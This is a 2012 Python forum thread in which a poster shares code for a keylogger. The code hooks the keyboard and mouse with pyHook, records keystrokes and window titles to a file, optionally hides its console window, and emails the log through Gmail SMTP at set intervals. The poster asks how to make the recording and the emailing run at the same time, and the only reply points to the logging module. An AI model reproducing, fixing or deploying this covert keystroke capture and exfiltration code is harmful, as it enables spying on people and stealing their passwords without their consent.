Python Programming
 
Forums: » Register « |  User CP |  Games |  Calendar |  Members |  FAQs |  Sitemap |  Support | 
User Name:
Password:
Remember me

The Shed is going Social! Join us on FaceBook and Twitter and chime in on the conversation.

Go Back   Dev Shed ForumsProgramming LanguagesPython Programming

Reply
Add This Thread To:
  Del.icio.us   Digg   Google   Spurl   Blink   Furl   Simpy   Y! MyWeb 
Thread Tools Search this Thread Rate Thread Display Modes
 
Unread Dev Shed Forums Sponsor:
  #1  
Old November 30th, 2012, 12:16 AM
Doron17 Doron17 is offline
Registered User
Dev Shed Newbie (0 - 499 posts)
 
Join Date: Nov 2012
Posts: 1 Doron17 User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 6 m 48 sec
Reputation Power: 0
PyHook and Time Libraries

Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every predetermined period.

I've manage to make the recorder and the auto-email sender, but I still can't make both of them work simultaneously.

Can someone help me with this please?
I thought about threading but again... It just sends blank mails without the logs.

This is the code:

Code:
import win32api
import win32console
import win32gui
import pythoncom, pyHook
import smtplib
import time
import thread, threading

#win = win32console.GetConsoleWindow()
#win32gui.ShowWindow(win,0)

log = ""
logpath = "log.txt"

openfile = open(logpath,"w")
openfile.write("")

#openfile = open(logpath,"r+")

l = threading.Lock()


def sendEmail():
    print("ready to send email")
    fromaddr = 'dorimeshi@gmail.com'
    toaddrs  = 'dorimeshi@gmail.com'
    msg = open('log.txt',"r").read()

    username = 'something'
    password = 'something' 
    server = smtplib.SMTP('smtp.gmail.com:587')
    server.starttls()
    server.login(username,password)
    server.sendmail(fromaddr, toaddrs, msg)
    server.quit()
    print("mail sent")

def sendEmailAuto(dt,openfile):
        tt = time.time()
        nn = tt+dt

        while tt<nn:
            print(tt,nn)
            if tt>=nn-0.5:
                #l.acquire()   <== I wasn't sure if I need to lock and release it, it makes sense, but I didn't understand how to use it in python
                msg = open('log.txt',"r").read()
                print(msg)
                sendEmail()
                tt = time.time()
                nn = tt+dt
                log = ""
                #l.release()                
            else:
                tt = time.time()
                
def OnKeyboardEvent(event):
    try:
        global log
        if event.Alt == 32 and event.KeyID == 160:
            log = "[LangCh]"
        elif event.KeyID>=37 and event.KeyID<=40:
            log = "["+event.Key+"]"
        elif event.Ascii == 8:
            log = "[BS]"
        elif event.Ascii == 9:
            log = "[TAB]"
        elif event.Ascii == 13:
            log = "[NL]"
        elif event.Ascii == 27:
            log = "[ESC]"
        elif event.Alt == 32 and event.KeyID == 75:
            openfile.close()
            sendEmail()
            exit()
        else:
            log = chr(event.Ascii)
        openfile.write(log)
    except:
        pass
    return True


def OnMouseEvent(event):
    global log
    if event.MessageName == "mouse left down":
        log = "<"+event.WindowName +">\n"
        openfile.write(log)
    if event.MessageName == "mouse left up" and event.WindowName == None :
        log = "-\n"
        openfile.write(log)
    return True

thread.start_new_thread(sendEmailAuto, (10,openfile))

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm2 = pyHook.HookManager()
hm2.MouseAll = OnMouseEvent

hm.HookKeyboard()
hm2.HookMouse()                

pythoncom.PumpMessages()

Reply With Quote
  #2  
Old November 30th, 2012, 02:46 PM
b49P23TIvg's Avatar
b49P23TIvg b49P23TIvg is offline
Contributing User
Dev Shed Loyal (3000 - 3499 posts)
 
Join Date: Aug 2011
Posts: 3,372 b49P23TIvg User rank is Major (30000 - 40000 Reputation Level)b49P23TIvg User rank is Major (30000 - 40000 Reputation Level)b49P23TIvg User rank is Major (30000 - 40000 Reputation Level)b49P23TIvg User rank is Major (30000 - 40000 Reputation Level)b49P23TIvg User rank is Major (30000 - 40000 Reputation Level)b49P23TIvg User rank is Major (30000 - 40000 Reputation Level)b49P23TIvg User rank is Major (30000 - 40000 Reputation Level)b49P23TIvg User rank is Major (30000 - 40000 Reputation Level)b49P23TIvg User rank is Major (30000 - 40000 Reputation Level)b49P23TIvg User rank is Major (30000 - 40000 Reputation Level) 
Time spent in forums: 1 Month 2 Weeks 3 Days 11 h 39 m 38 sec
Reputation Power: 383
Try the logging module.
__________________
[code]Code tags[/code] are essential for python code!

Reply With Quote
Reply

Viewing: Dev Shed ForumsProgramming LanguagesPython Programming > PyHook and Time Libraries

Developer Shed Advertisers and Affiliates



Thread Tools  Search this Thread 
Search this Thread:

Advanced Search
Display Modes  Rate This Thread 
Rate This Thread:


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
View Your Warnings | New Posts | Latest News | Latest Threads | Shoutbox
Forum Jump

Forums: » Register « |  User CP |  Games |  Calendar |  Members |  FAQs |  Sitemap |  Support | 
  
 


Powered by: vBulletin Version 3.0.5
Copyright ©2000 - 2013, Jelsoft Enterprises Ltd.

© 2003-2013 by Developer Shed. All rights reserved. DS Cluster - Follow our Sitemap